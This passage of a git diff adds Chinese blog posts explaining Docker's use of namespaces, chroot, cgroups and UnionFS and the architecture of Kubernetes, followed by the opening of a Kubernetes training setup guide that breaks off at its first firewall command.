*CLONE_NEWNS*，这样子进程就能得到父进程挂载点的拷贝，如果不传入这个参数**子进程对文件系统的读写都会同步回父进程以及整个主机的文件系统**。 + +如果一个容器需要启动，那么它一定需要提供一个根文件系统（rootfs），容器需要使用这个文件系统来创建一个新的进程，所有二进制的执行都必须在这个根文件系统中。 + +![libcontainer-filesystem](/uploads/2018/12/19-10.png) + +想要正常启动一个容器就需要在 rootfs 中挂载以上的几个特定的目录，除了上述的几个目录需要挂载之外我们还需要建立一些符号链接保证系统 IO 不会出现问题。 + +![libcontainer-symlinks-and-io](/uploads/2018/12/19-11.png) + +为了保证当前的容器进程没有办法访问宿主机器上其他目录，我们在这里还需要通过 libcontainer 提供的 *pivot_root* 或者 *chroot* 函数改变进程能够访问个文件目录的根节点。 + +~~~c +// pivor_root +put_old = mkdir(...); +pivot_root(rootfs, put_old); +chdir("/"); +unmount(put_old, MS_DETACH); +rmdir(put_old); + +// chroot +mount(rootfs, "/", NULL, MS_MOVE, NULL); +chroot("."); +chdir("/"); +~~~ + +到这里我们就将容器需要的目录挂载到了容器中，同时也禁止当前的容器进程访问宿主机器上的其他目录，保证了不同文件系统的隔离。 + +> 这一部分的内容是作者在 libcontainer 中的 [SPEC.md](https://github.com/opencontainers/runc/blob/master/libcontainer/SPEC.md) 文件中找到的，其中包含了 Docker 使用的文件系统的说明，对于 Docker 是否真的使用 *chroot* 来确保当前的进程无法访问宿主机器的目录，作者其实也**没有确切的答案**，一是 Docker 项目的代码太多庞大，不知道该从何入手，作者尝试通过 Google 查找相关的结果，但是既找到了无人回答的 [问题](https://forums.docker.com/t/does-the-docker-engine-use-chroot/25429)，也得到了与 SPEC 中的描述有冲突的 [答案](https://www.quora.com/Do-Docker-containers-use-a-chroot-environment) ，如果各位读者有明确的答案可以在博客下面留言，非常感谢。 + +### chroot
 +在这里不得不简单介绍一下 *chroot*（change root），在 Linux 系统中，系统默认的目录就都是以 */* 也就是根目录开头的，*chroot* 的使用能够改变当前的系统根目录结构，通过改变当前系统的根目录，我们能够限制用户的权利，在新的根目录下并不能够访问旧系统根目录的结构个文件，也就建立了一个与原系统完全隔离的目录结构。 + +> 与 chroot 的相关内容部分来自 [理解 chroot](https://www.ibm.com/developerworks/cn/linux/l-cn-chroot/index.html) 一文，各位读者可以阅读这篇文章获得更详细的信息。 + +## CGroups + +我们通过 Linux 的命名空间为新创建的进程隔离了文件系统、网络并与宿主机器之间的进程相互隔离，但是命名空间并不能够为我们提供物理资源上的隔离，比如 CPU 或者内存，如果在同一台机器上运行了多个对彼此以及宿主机器一无所知的『容器』，这些容器却共同占用了宿主机器的物理资源。 + +![docker-shared-resources](/uploads/2018/12/19-12.png) + +如果其中的某一个容器正在执行 CPU 密集型的任务，那么就会影响其他容器中任务的性能与执行效率，导致多个容器相互影响并且抢占资源。如何对多个容器的资源使用进行限制就成了解决进程虚拟资源隔离之后的主要问题，而 Control Groups（简称 CGroups）就是能够隔离宿主机器上的物理资源，例如 CPU、内存、磁盘 I/O 和网络带宽。 + +每一个 CGroup 都是一组被相同的标准和参数限制的进程，不同的 CGroup 之间是有层级关系的，也就是说它们之间可以从父类继承一些用于限制资源使用的标准和参数。 + +![cgroups-inheritance](/uploads/2018/12/19-13.png) + +Linux 的 CGroup 能够为一组进程分配资源，也就是我们在上面提到的 CPU、内存、网络带宽等资源，通过对资源的分配，CGroup 能够提供以下的几种功能： + +![groups-features](/uploads/2018/12/19-14.png) + +> 在 CGroup 中，所有的任务就是一个系统的一个进程，而 CGroup 就是一组按照某种标准划分的进程，在 CGroup 这种机制中，所有的资源控制都是以 CGroup 作为单位实现的，每一个进程都可以随时加入一个 CGroup 也可以随时退出一个 CGroup。 +> +> -- [CGroup 介绍、应用实例及原理描述](https://www.ibm.com/developerworks/cn/linux/1506_cgroup/index.html) + +Linux 使用文件系统来实现 CGroup，我们可以直接使用下面的命令查看当前的 CGroup 中有哪些子系统： + +~~~sh +$ lssubsys -m +cpuset /sys/fs/cgroup/cpuset +cpu /sys/fs/cgroup/cpu +cpuacct /sys/fs/cgroup/cpuacct +memory /sys/fs/cgroup/memory +devices /sys/fs/cgroup/devices +freezer /sys/fs/cgroup/freezer +blkio /sys/fs/cgroup/blkio +perf_event /sys/fs/cgroup/perf_event +hugetlb /sys/fs/cgroup/hugetlb +~~~ + +大多数 Linux 的发行版都有着非常相似的子系统，而之所以将上面的 cpuset、cpu 等东西称作子系统，是因为它们能够为对应的控制组分配资源并限制资源的使用。 + +如果我们想要创建一个新的 cgroup 只需要在想要分配或者限制资源的子系统下面创建一个新的文件夹，然后这个文件夹下就会自动出现很多的内容，如果你在 Linux 上安装了 Docker，你就会发现所有子系统的目录下都有一个名为 docker 的文件夹： + +~~~shell +$ ls cpu +cgroup.clone_children +... +cpu.stat +docker +notify_on_release +release_agent +tasks + +$ ls cpu/docker/ +9c3057f1291b53fd54a3d12023d2644efe6a7db6ddf330436ae73ac92d401cf1 +cgroup.clone_children +... +cpu.stat +notify_on_release +release_agent +tasks +~~~ + +*9c3057xxx* 其实就是我们运行的一个 Docker 容器，启动这个容器时，Docker 会为这个容器创建一个与容器标识符相同的 CGroup，在当前的主机上 CGroup 就会有以下的层级关系： + +![linux-cgroups](/uploads/2018/12/19-15.png) + +每一个 CGroup 下面都有一个 *tasks* 文件，其中存储着属于当前控制组的所有进程的 pid，作为负责 cpu 的子系统，*cpu.cfs_quota_us* 文件中的内容能够对 CPU 的使用作出限制，如果当前文件的内容为 50000，那么当前控制组中的全部进程的 CPU 占用率不能超过 50%。 + +如果系统管理员想要控制 Docker 某个容器的资源使用率就可以在 *docker* 这个父控制组下面找到对应的子控制组并且改变它们对应文件的内容，当然我们也可以直接在程序运行时就使用参数，让 Docker 进程去改变相应文件中的内容。 + +~~~shell +$ docker run -it -d --cpu-quota=50000 busybox +53861305258ecdd7f5d2a3240af694aec9adb91cd4c7e210b757f71153cdd274 +$ cd 53861305258ecdd7f5d2a3240af694aec9adb91cd4c7e210b757f71153cdd274/ +$ ls +cgroup.clone_children cgroup.event_control cgroup.procs cpu.cfs_period_us cpu.cfs_quota_us cpu.shares cpu.stat notify_on_release tasks +$ cat cpu.cfs_quota_us +50000 +~~~ + +当我们使用 Docker 关闭掉正在运行的容器时，Docker 的子控制组对应的文件夹也会被 Docker 进程移除，Docker 在使用 CGroup 时其实也只是做了一些创建文件夹改变文件内容的文件操作，不过 CGroup 的使用也确实解决了我们限制子容器资源占用的问题，系统管理员能够为多个容器合理的分配资源并且不会出现多个容器互相抢占资源的问题。 + +## UnionFS + +Linux 的命名空间和控制组分别解决了不同资源隔离的问题，前者解决了进程、网络以及文件系统的隔离，后者实现了 CPU、内存等资源的隔离，但是在 Docker 中还有另一个非常重要的问题需要解决 - 也就是镜像。 + +镜像到底是什么，它又是如何组成和组织的是作者使用 Docker 以来的一段时间内一直比较让作者感到困惑的问题，我们可以使用 *docker run* 非常轻松地从远程下载 Docker 的镜像并在本地运行。 + +Docker 镜像其实本质就是一个压缩包，我们可以使用下面的命令将一个 Docker 镜像中的文件导出： + +~~~shell +$ docker export $(docker create busybox) | tar -C rootfs -xvf - +$ ls +bin dev etc home proc root sys tmp usr var +~~~ + +你可以看到这个 busybox 镜像中的目录结构与 Linux 操作系统的根目录中的内容并没有太多的区别，可以说 **Docker 镜像就是一个文件**。 + +### 存储驱动 + +Docker 使用了一系列不同的存储驱动管理镜像内的文件系统并运行容器，这些存储驱动与 Docker 卷（volume）有些不同，存储引擎管理着能够在多个容器之间共享的存储。 + +想要理解 Docker 使用的存储驱动，我们首先需要理解 Docker 是如何构建并且存储镜像的，也需要明白 Docker 的镜像是如何被每一个容器所使用的；Docker 中的每一个镜像都是由一系列只读的层组成的，Dockerfile 中的每一个命令都会在已有的只读层上创建一个新的层： + +~~~docker +FROM ubuntu:15.04 +COPY . /app +RUN make /app +CMD python /app/app.py +~~~ + +容器中的每一层都只对当前容器进行了非常小的修改，上述的 Dockerfile 文件会构建一个拥有四层 layer 的镜像： + +![docker-container-laye](/uploads/2018/12/19-16.png) + +当镜像被 *docker run* 命令创建时就会在镜像的最上层添加一个可写的层，也就是容器层，所有对于运行时容器的修改其实都是对这个容器读写层的修改。 + +容器和镜像的区别就在于，所有的镜像都是只读的，而每一个容器其实等于镜像加上一个可读写的层，也就是同一个镜像可以对应多个容器。 + +![docker-images-and-container](/uploads/2018/12/19-17.png) + +### AUFS + +UnionFS 其实是一种为 Linux 操作系统设计的用于把多个文件系统『联合』到同一个挂载点的文件系统服务。而 AUFS 即 Advanced UnionFS 其实就是 UnionFS 的升级版，它能够提供更优秀的性能和效率。 + +AUFS 作为联合文件系统，它能够将不同文件夹中的层联合（Union）到了同一个文件夹中，这些文件夹在 AUFS 中称作分支，整个『联合』的过程被称为*联合挂载（Union Mount）*： + +![docker-aufs](/uploads/2018/12/19-18.png) + +每一个镜像层或者容器层都是 */var/lib/docker/* 目录下的一个子文件夹；在 Docker 中，所有镜像层和容器层的内容都存储在 */var/lib/docker/aufs/diff/* 目录中： + +~~~shell +$ ls /var/lib/docker/aufs/diff/00adcccc1a55a36a610a6ebb3e07cc35577f2f5a3b671be3dbc0e74db9ca691c 93604f232a831b22aeb372d5b11af8c8779feb96590a6dc36a80140e38e764d8 +00adcccc1a55a36a610a6ebb3e07cc35577f2f5a3b671be3dbc0e74db9ca691c-init 93604f232a831b22aeb372d5b11af8c8779feb96590a6dc36a80140e38e764d8-init +019a8283e2ff6fca8d0a07884c78b41662979f848190f0658813bb6a9a464a90 93b06191602b7934fafc984fbacae02911b579769d0debd89cf2a032e7f35cfa +... +~~~ + +而 */var/lib/docker/aufs/layers/* 中存储着镜像层的元数据，每一个文件都保存着镜像层的元数据，最后的 */var/lib/docker/aufs/mnt/* 包含镜像或者容器层的挂载点，最终会被 Docker 通过联合的方式进行组装。 + +![docker-filesystems](/uploads/2018/12/19-19.png) + +上面的这张图片非常好的展示了组装的过程，每一个镜像层都是建立在另一个镜像层之上的，同时所有的镜像层都是只读的，只有每个容器最顶层的容器层才可以被用户直接读写，所有的容器都建立在一些底层服务（Kernel）上，包括命名空间、控制组、rootfs 等等，这种容器的组装方式提供了非常大的灵活性，只读的镜像层通过共享也能够减少磁盘的占用。 + +### 其他存储驱动 + +AUFS 只是 Docker 使用的存储驱动的一种，除了 AUFS 之外，Docker 还支持了不同的存储驱动，包括 *aufs*、*devicemapper*、*overlay2*、*zfs* 和 *vfs* 等等，在最新的 Docker 中，*overlay2* 取代了 *aufs* 成为了推荐的存储驱动，但是在没有 *overlay2* 驱动的机器上仍然会使用 *aufs* 作为 Docker 的默认驱动。 + +![docker-storage-driver](/uploads/2018/12/19-20.png) + +不同的存储驱动在存储镜像和容器文件时也有着完全不同的实现，有兴趣的读者可以在 Docker 的官方文档 [Select a storage driver](https://docs.docker.com/engine/userguide/storagedriver/selectadriver/) 中找到相应的内容。 + +想要查看当前系统的 Docker 上使用了哪种存储驱动只需要使用以下的命令就能得到相对应的信息： + +~~~shell +$ docker info | grep Storage +Storage Driver: aufs +~~~ + +作者的这台 Ubuntu 上由于没有 *overlay2* 存储驱动，所以使用 *aufs* 作为 Docker 的默认存储驱动。 + +## 总结 + +Docker 目前已经成为了非常主流的技术，已经在很多成熟公司的生产环境中使用，但是 Docker 的核心技术其实已经有很多年的历史了，Linux 命名空间、控制组和 UnionFS 三大技术支撑了目前 Docker 的实现，也是 Docker 能够出现的最重要原因。 + +作者在学习 Docker 实现原理的过程中查阅了非常多的资料，从中也学习到了很多与 Linux 操作系统相关的知识，不过由于 Docker 目前的代码库实在是太过庞大，想要从源代码的角度完全理解 Docker 实现的细节已经是非常困难的了，但是如果各位读者真的对其实现细节感兴趣，可以从 [Docker CE](https://github.com/docker/docker-ce) 的源代码开始了解 Docker 的原理。 + +## Reference + ++ [Chapter 4. Docker Fundamentals · Using Docker by Adrian Mount](https://www.safaribooksonline.com/library/view/using-docker/9781491915752/ch04.html) ++ [TECHNIQUES BEHIND DOCKER](https://washraf.gitbooks.io/the-docker-ecosystem/content/Chapter%201/Section%203/techniques_behind_docker.html) ++ [Docker overview](https://docs.docker.com/engine/docker-overview/#the-underlying-technology) ++ [Unifying filesystems with union mounts](https://lwn.net/Articles/312641/) ++ [DOCKER 基础技术：AUFS](https://coolshell.cn/articles/17061.html) ++ [RESOURCE MANAGEMENT GUIDE](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/resource_management_guide/) ++ [Kernel Korner - Unionfs: Bringing Filesystems Together](http://www.linuxjournal.com/article/7714) ++ [Union file systems: Implementations, part I](https://lwn.net/Articles/325369/) ++ [IMPROVING DOCKER WITH UNIKERNELS: INTRODUCING HYPERKIT, VPNKIT AND DATAKIT](https://blog.docker.com/2016/05/docker-unikernels-open-source/) ++ [Separation Anxiety: A Tutorial for Isolating Your System with Linux Namespaces](https://www.toptal.com/linux/separation-anxiety-isolating-your-system-with-linux-namespaces) ++ [理解 chroot](https://www.ibm.com/developerworks/cn/linux/l-cn-chroot/index.html) ++ [Linux Init Process / PC Boot Procedure](http://www.yolinux.com/TUTORIALS/LinuxTutorialInitProcess.html) ++ [Docker 网络详解及 pipework 源码解读与实践](http://www.infoq.com/cn/articles/docker-network-and-pipework-open-source-explanation-practice#) ++ [Understand container communication](https://docs.docker.com/engine/userguide/networking/default_network/container-communication/#communication-between-containers) ++ [Docker Bridge Network Driver Architecture](https://github.com/docker/labs/blob/master/networking/concepts/05-bridge-networks.md) ++ [Linux Firewall Tutorial: IPTables Tables, Chains, Rules Fundamentals](http://www.thegeekstuff.com/2011/01/iptables-fundamentals/) ++ [Traversing of tables and chains](http://www.iptables.info/en/structure-of-iptables.html) ++ [Docker 网络部分执行流分析（Libnetwork 源码解读）](http://dockone.io/article/1255) ++ [Libnetwork Design](https://github.com/docker/libnetwork/blob/master/docs/design.md) ++ [剖析 Docker 文件系统：Aufs与Devicemapper](http://www.infoq.com/cn/articles/analysis-of-docker-file-system-aufs-and-devicemapper) ++ [Linux - understanding the mount namespace & clone CLONE_NEWNS flag](https://stackoverflow.com/questions/22889241/linux-understanding-the-mount-namespace-clone-clone-newns-flag) ++ [Docker 背后的内核知识 —— Namespace 资源隔离](http://www.infoq.com/cn/articles/docker-kernel-knowledge-namespace-resource-isolation) ++ [Infrastructure for container projects](https://linuxcontainers.org) ++ [Spec · libcontainer](https://github.com/opencontainers/runc/blob/master/libcontainer/SPEC.md) ++ [DOCKER 基础技术：LINUX NAMESPACE（上）](https://coolshell.cn/articles/17010.html) ++ [DOCKER 基础技术：LINUX CGROUP](https://coolshell.cn/articles/17049.html) ++ [《自己动手写Docker》书摘之三： Linux UnionFS](https://yq.aliyun.com/articles/65034) ++ [Introduction to Docker](http://www.programering.com/a/MDMzAjMwATk.html) ++ [Understand images, containers, and storage drivers](https://docs.docker.com/v1.9/engine/userguide/storagedriver/imagesandcontainers/) ++ [Use the AUFS storage driver](https://docs.docker.com/engine/userguide/storagedriver/aufs-driver/#configure-docker-with-the-aufs-storage-driver) ++ [Docker 核心技术与实现原理](https://draveness.me/docker) ++ [Draveness BLOG](https://github.com/draveness/draveness-blog.git) + diff --git a/_posts/2018-12-20-327-k8s.md b/_posts/2018-12-20-327-k8s.md new file mode 100644 index 0000000..476953a --- /dev/null +++ b/_posts/2018-12-20-327-k8s.md @@ -0,0 +1,248 @@ +--- +layout: post +title: 谈 Kubernetes 的架构设计与实现原理 +pid: 327 +tags: [k8s] +--- + +Kubernetes 基本上是这两年最热门、最被人熟知的技术了，它为软件工程师提供了强大的容器编排能力，模糊了开发和运维之间的边界，让我们开发、管理和维护一个大型的分布式系统和项目变得更加容易。 + +![kubernetes-banner](/uploads/2018/12/20-01.png) + +这篇文章是整个 Kuberentes 架构设计与实现原理的开篇，文章会先简单介绍 Kuberentes 的背景、依赖的技术，它的架构以及设计理念，最后会提及一些关键概念和实现原理。 + +## 介绍 + +作为一个目前在生产环境已经广泛使用的开源项目 Kubernetes 被定义成一个用于自动化部署、扩容和管理容器应用的开源系统；它将一个分布式软件的一组容器打包成一个个更容易管理和发现的逻辑单元。 + +Kubernetes 是希腊语『舵手』的意思，它最开始由 Google 的几位软件工程师创立，深受公司内部 [Borg](https://ai.google/research/pubs/pub43438) 和 Omega 项目的影响，很多设计都是从 Borg 中借鉴的，同时也对 Borg 的缺陷进行了改进，Kubernetes 目前是 Cloud Native Computing Foundation (CNCF) 的项目并且是很多公司管理分布式系统的解决方案。 + +![docker-swarm-vs-kubernetes](/uploads/2018/12/20-02.png) + +在 Kubernetes 统治了容器编排这一领域之前，其实也有很多容器编排方案，例如 [compose](https://github.com/docker/compose) 和 [Swarm](https://github.com/docker/swarm)，但是在运维大规模、复杂的集群时，这些方案基本已经都被 Kubernetes 替代了。 + +Kubernetes 将已经打包好的应用镜像进行编排，所以如果没有容器技术的发展和微服务架构中复杂的应用关系，其实也很难找到合适的应用场景去使用，所以在这里我们会简单介绍 Kubernetes 的两大『依赖』——容器技术和微服务架构。 + +### 容器技术 + +Docker 已经是容器技术的事实标准了，作者在前面的文章中 [Docker 核心技术与实现原理](https://draveness.me/docker) 曾经介绍过 Docker 的实现主要依赖于 Linux 的 namespace、cgroups 和 UnionFS。 + +![docker-logo](/uploads/2018/12/20-03.png) + +它让开发者将自己的应用以及依赖打包到一个可移植的容器中，让应用程序的运行可以实现环境无关。 + +我们能够通过 Docker 实现进程、网络以及挂载点和文件系统隔离的环境，并且能够对宿主机的资源进行分配，这能够让我们在同一个机器上运行多个不同的 Docker 容器，任意一个 Docker 的进程都不需要关心宿主机的依赖，都各自在镜像构建时完成依赖的安装和编译等工作，这也是为什么 Docker 是 Kubernetes 项目的一个重要依赖。 + +### 微服务架构 + +如果今天的软件并不是特别复杂并且需要承载的峰值流量不是特别多，那么后端项目的部署其实也只需要在虚拟机上安装一些简单的依赖，将需要部署的项目编译后运行就可以了。 + +![microservices](/uploads/2018/12/20-04.png) + +但是随着软件变得越来越复杂，一个完整的后端服务不再是单体服务，而是由多个职责和功能不同的服务组成，服务之间复杂的拓扑关系以及单机已经无法满足的性能需求使得软件的部署和运维工作变得非常复杂，这也就使得部署和运维大型集群变成了非常迫切的需求。 + +### 小结 + +Kubernetes 的出现不仅主宰了容器编排的市场，更改变了过去的运维方式，不仅将开发与运维之间边界变得更加模糊，而且让 DevOps 这一角色变得更加清晰，每一个软件工程师都可以通过 Kubernetes 来定义服务之间的拓扑关系、线上的节点个数、资源使用量并且能够快速实现水平扩容、蓝绿部署等在过去复杂的运维操作。 + +## 设计 + +这一小节我们将介绍 Kubernetes 的一些设计理念，这些关键字能够帮助了解 Kubernetes 在设计时所做的一些选择： + +![kubernetes-design](/uploads/2018/12/20-05.png) + +这里将按照顺序分别介绍声明式、显式接口、无侵入性和可移植性这几个设计的选择能够为我们带来什么。 + +### 声明式 + +声明式（Declarative）的编程方式一直都会被工程师们拿来与命令式（Imperative）进行对比，这两者是完全不同的编程方法。我们最常接触的其实是命令式编程，它要求我们描述为了达到某一个效果或者目标所需要完成的指令，常见的编程语言 Go、Ruby、C++ 其实都为开发者了命令式的编程方法， + +在 Kubernetes 中，我们可以直接使用 YAML 文件定义服务的拓扑结构和状态： + +```yaml +apiVersion: v1 +kind: Pod +metadata: + name: rss-site + labels: + app: web +spec: + containers: + - name: front-end + image: nginx + ports: + - containerPort: 80 + - name: rss-reader + image: nickchase/rss-php-nginx:v1 + ports: + - containerPort: 88 +``` + +这种声明式的方式能够大量地减少使用者的工作量，极大地增加开发的效率，这是因为声明式能够简化需要的代码，减少开发人员的工作，如果我们使用命令式的方式进行开发，虽然在配置上比较灵活，但是带来了更多的工作。 + +```sql +SELECT * FROM posts WHERE user_id = 1 AND title LIKE 'hello%'; +``` + +SQL 其实就是一种常见的声明式『编程语言』，它能够让开发者自己去指定想要的数据是什么，Kubernetes 中的 YAML 文件也有着相同的原理，我们可以告诉 Kubernetes 想要的最终状态是什么，而它会帮助我们从现有的状态进行迁移。 + +![kubernetes-declarative-api](/uploads/2018/12/20-06.png) + +如果 Kubernetes 采用命令式编程的方式提供接口，那么工程师可能就需要通过代码告诉 Kubernetes 要达到某个状态需要通过哪些操作，相比于更关注状态和结果声明式的编程方式，命令式的编程方式更强调过程。 + +总而言之，Kubernetes 中声明式的 API 其实指定的是集群期望的运行状态，所以在出现任何不一致问题时，它本身都可以通过指定的 YAML 文件对线上集群进行状态的迁移，就像一个水平触发的系统，哪怕系统错过了相应的事件，最终也会根据当前的状态自动做出做合适的操作。 + +### 显式接口 + +第二个 Kubernetes 的设计规范其实就是 —— 不存在内部的私有接口，所有的接口都是显示定义的，组件之间通信使用的接口对于使用者来说都是显式的，我们都可以直接调用。 + +![kubernetes-external-api](/uploads/2018/12/20-07.png) + +当 Kubernetes 的接口不能满足工程师的复杂需求时，我们需要利用已有的接口实现更复杂的特性，在这时 Kubernetes 的这一设计就不会成为自定义需求的障碍。 + +### 无侵入性 + +为了尽可能满足用户（工程师）的需求，减少工程师的工作量与任务并增强灵活性，Kubernetes 为工程师提供了无侵入式的接入方式，每一个应用或者服务一旦被打包成了镜像就可以直接在 Kubernetes 中无缝使用，不需要修改应用程序中的任何代码。 + +![kuberentes-non-invasive](/uploads/2018/12/20-08.png) + +Docker 和 Kubernetes 就像包裹在应用程序上的两层，它们两个为应用程序提供了容器化以及编排的能力，在应用程序内部却不需要任何的修改就能够在 Docker 和 Kubernetes 集群中运行，这是 Kubernetes 在设计时选择无侵入带来最大的好处，同时无侵入的接入方式也是目前几乎所有应用程序或者服务都必须考虑的一点。 + +### 可移植性 + +在微服务架构中，我们往往都会让所有处理业务的服务变成无状态的服务，以前在内存中存储的数据、Session 等缓存，现在都会放到 Redis、ETCD 等数据库中存储，微服务架构要求我们对业务进行拆分并划清服务之间的边界，所以有状态的服务往往会对架构的水平迁移带来障碍。 + +然而有状态的服务其实是无可避免的，我们将每一个基础服务或者业务服务都变成了一个个只负责计算的进程，但是仍然需要有其他的进程负责存储易失的缓存和持久的数据，Kubernetes 对这种有状态的服务也提供了比较好的支持。 + +Kubernetes 引入了 *PersistentVolume* 和 *PersistentVolumeClaim* 的概念用来屏蔽底层存储的差异性，目前的 Kubernetes 支持下列类型的 *PersistentVolume*： + +![kubernetes-persistent-volume](/uploads/2018/12/20-09.png) + +这些不同的 *PersistentVolume* 会被开发者声明的 *PersistentVolumeClaim* 分配到不同的服务中，对于上层来讲所有的服务都不需要接触 *PersistentVolume*，只需要直接使用 *PersistentVolumeClaim* 得到的卷就可以了。 + +## 架构 + +Kubernetes 遵循非常传统的客户端服务端架构，客户端通过 RESTful 接口或者直接使用 kubectl 与 Kubernetes 集群进行通信，这两者在实际上并没有太多的区别，后者也只是对 Kubernetes 提供的 RESTful API 进行封装并提供出来。 + +![kubernetes-architecture](/uploads/2018/12/20-10.png) + +每一个 Kubernetes 就集群都由一组 Master 节点和一系列的 Worker 节点组成，其中 Master 节点主要负责存储集群的状态并为 Kubernetes 对象分配和调度资源。 + +### Master + +作为管理集群状态的 Master 节点，它主要负责接收客户端的请求，安排容器的执行并且运行控制循环，将集群的状态向目标状态进行迁移，Master 节点内部由三个组件构成： + +![kubernetes-master-node](/uploads/2018/12/20-11.png) + +其中 API Server 负责处理来自用户的请求，其主要作用就是对外提供 RESTful 的接口，包括用于查看集群状态的读请求以及改变集群状态的写请求，也是唯一一个与 etcd 集群通信的组件。 + +而 Controller 管理器运行了一系列的控制器进程，这些进程会按照用户的期望状态在后台不断地调节整个集群中的对象，当服务的状态发生了改变，控制器就会发现这个改变并且开始向目标状态迁移。 + +最后的 Scheduler 调度器其实为 Kubernetes 中运行的 Pod 选择部署的 Worker 节点，它会根据用户的需要选择最能满足请求的节点来运行 Pod，它会在每次需要调度 Pod 时执行。 + +### Worker + +其他的 Worker 节点实现就相对比较简单了，它主要由 kubelet 和 kube-proxy 两部分组成： + +![kubernetes-worker-node](/uploads/2018/12/20-12.png) + +kubelet 是一个节点上的主要服务，它周期性地从 API Server 接受新的或者修改的 Pod 规范并且保证节点上的 Pod 和其中容器的正常运行，还会保证节点会向目标状态迁移，该节点仍然会向 Master 节点发送宿主机的健康状况。 + +另一个运行在各个节点上的代理服务 kube-proxy 负责宿主机的子网管理，同时也能将服务暴露给外部，其原理就是在多个隔离的网络中把请求转发给正确的 Pod 或者容器。 + +## 实现原理 + +到现在，我们已经对 Kubernetes 有了一些简单的认识和了解，也大概清楚了 Kubernetes 的架构，在这一小节中我们将介绍 Kubernetes 中的一些重要概念和实现原理。 + +### 对象 + +Kubernetes 对象是系统中的持久实体，它使用这些对象来表示集群中的状态，这些对象能够描述： + +![kubernetes-object](/uploads/2018/12/20-13.png) + +这些对象描述了哪些应用应该运行在集群中，它们请求的资源下限和上限以及重启、升级和容错的策略。每一个创建的对象其实都是我们对集群状态的改变，这些对象描述的其实就是集群的期望状态，Kubernetes 会根据我们指定的期望状态不断检查对当前的集群状态进行迁移。 + +```go +type Deployment struct { + metav1.TypeMeta `json:",inline"` + metav1.ObjectMeta `json:"metadata,omitempty" protobuf:"bytes,1,opt,name=metadata"` + + Spec DeploymentSpec `json:"spec,omitempty" protobuf:"bytes,2,opt,name=spec"` + Status DeploymentStatus `json:"status,omitempty" protobuf:"bytes,3,opt,name=status"` +} +``` + +每一个对象都包含两个嵌套对象来描述规格（Spec）和状态（Status），对象的规格其实就是我们期望的目标状态，而状态描述了对象的当前状态，这部分一般由 Kubernetes 系统本身提供和管理，是我们观察集群本身的一个接口。 + +### Pod + +Pod 是 Kubernetes 中最基本的概念，它也是 Kubernetes 对象模型中我们可以创建或者部署的最小并且最简单的单元。 + +![kubernetes-pod](/uploads/2018/12/20-14.png) + +它将应用的容器、存储资源以及独立的网络 IP 地址等资源打包到了一起，表示一个最小的部署单元，但是每一个 Pod 中的运行的容器可能不止一个，这是因为 Pod 最开始设计时就能够在多个进程之间进行协调，构建一个高内聚的服务单元，这些容器能够共享存储和网络，非常方便地进行通信。 + +### 控制器 + +最后要介绍的就是 Kubernetes 中的控制器，它们其实是用于创建和管理 Pod 的实例，能够在集群的层级提供复制、发布以及健康检查的功能，这些控制器其实都运行在 Kubernetes 集群的主节点上。 + +在 Kuberentes 的 [kubernetes/pkg/controller/](https://github.com/kubernetes/kubernetes/tree/master/pkg/controller) 目录中包含了官方提供的一些常见控制器，我们可以通过下面这个函数看到所有需要运行的控制器： + +```go +func NewControllerInitializers(loopMode ControllerLoopMode) map[string]InitFunc { + controllers := map[string]InitFunc{} + controllers["endpoint"] = startEndpointController + controllers["replicationcontroller"] = startReplicationController + controllers["podgc"] = startPodGCController + controllers["resourcequota"] = startResourceQuotaController + controllers["namespace"] = startNamespaceController + controllers["serviceaccount"] = startServiceAccountController + controllers["garbagecollector"] = startGarbageCollectorController + controllers["daemonset"] = startDaemonSetController + controllers["job"] = startJobController + controllers["deployment"] = startDeploymentController + controllers["replicaset"] = startReplicaSetController + controllers["horizontalpodautoscaling"] = startHPAController + controllers["disruption"] = startDisruptionController + controllers["statefulset"] = startStatefulSetController + controllers["cronjob"] = startCronJobController + // ... + + return controllers +} +``` + +这些控制器会随着控制器管理器的启动而运行，它们会监听集群状态的变更来调整集群中的 Kuberentes 对象的状态，在后面的文章中我们会展开介绍一些常见控制器的实现原理。 + +## 总结 + +作为 Kubernetes 系列文章的开篇，我们已经了解了它出现的背景、依赖的关键技术，同时我们也介绍了 Kubernetes 的架构设计，主节点负责处理客户端的请求、节点的调度，最后我们提到了几个 Kuberentes 中非常重要的概念：对象、Pod 和控制器，在接下来的文章中我们会深入介绍 Kuberentes 的实现原理。 + +## 相关文章 + ++ 基础 + + [分布式事务的实现原理](https://draveness.me/distributed-transaction-principle) + + [分布式系统与消息的投递](https://draveness.me/message-delivery) ++ 数据库 + + [分布式键值存储 Dynamo 的实现原理](https://draveness.me/dynamo) + + [浅析 Bigtable 和 LevelDB 的实现](https://draveness.me/bigtable-leveldb) ++ 分布式协调 & 服务发现 + + [详解分布式协调服务 ZooKeeper](https://draveness.me/zookeeper-chubby) + + [高可用分布式存储 etcd 的实现原理](https://draveness.me/etcd-introduction) + + [详解 DNS 与 CoreDNS 的实现原理](https://draveness.me/dns-coredns) ++ 容器编排 + + [谈 Kubernetes 的架构设计与实现原理](https://draveness.me/understanding-kubernetes) + + [从 Kubernetes 中的对象谈起](https://draveness.me/kubernetes-object-intro.md) + + +## Reference + ++ [Large-scale cluster management at Google with Borg](https://ai.google/research/pubs/pub43438) ++ [Production-Grade Container Orchestration](https://kubernetes.io/) ++ [Borg, Omega, and Kubernetespo](https://ai.google/research/pubs/pub44843) ++ [Kubernetes Design and Development Explained](https://thenewstack.io/kubernetes-design-and-development-explained/) ++ [2018 is the year of Kubernetes – with some help from Docker](https://www.dynatrace.com/news/blog/2018-year-of-kubernetes-with-help-from-docker/?utm_source=tuicool&utm_medium=referral) ++ [Introduction to Kubernetes Architecture](https://x-team.com/blog/introduction-kubernetes-architecture/) ++ [Setting up highly available Kubernetes clusters](https://elastisys.com/wp-content/uploads/2018/01/kubernetes-ha-setup.pdf?x83281) ++ [Understanding Kubernetes Objects](https://kubernetes.io/docs/concepts/overview/working-with-objects/kubernetes-objects/) + diff --git a/_posts/2018-12-24-328-k8s.md b/_posts/2018-12-24-328-k8s.md new file mode 100644 index 0000000..64d8bf4 --- /dev/null +++ b/_posts/2018-12-24-328-k8s.md @@ -0,0 +1,156 @@ +--- +layout: post +title: Kubernetes线下实战培训 +pid: 328 +tags: [k8s] +--- + + +# 前提条件 +1. 准备好3台电脑 +2. 准备好相关素材文件 +3. 关闭系统防火墙 + +# IP地址配置信息 + ++ Master(172.17.116.249) ++ Worker1(172.17.116.250) ++ Worker2(172.17.116.251) + +# 关闭防火墙 + +```shell +systemctl stop 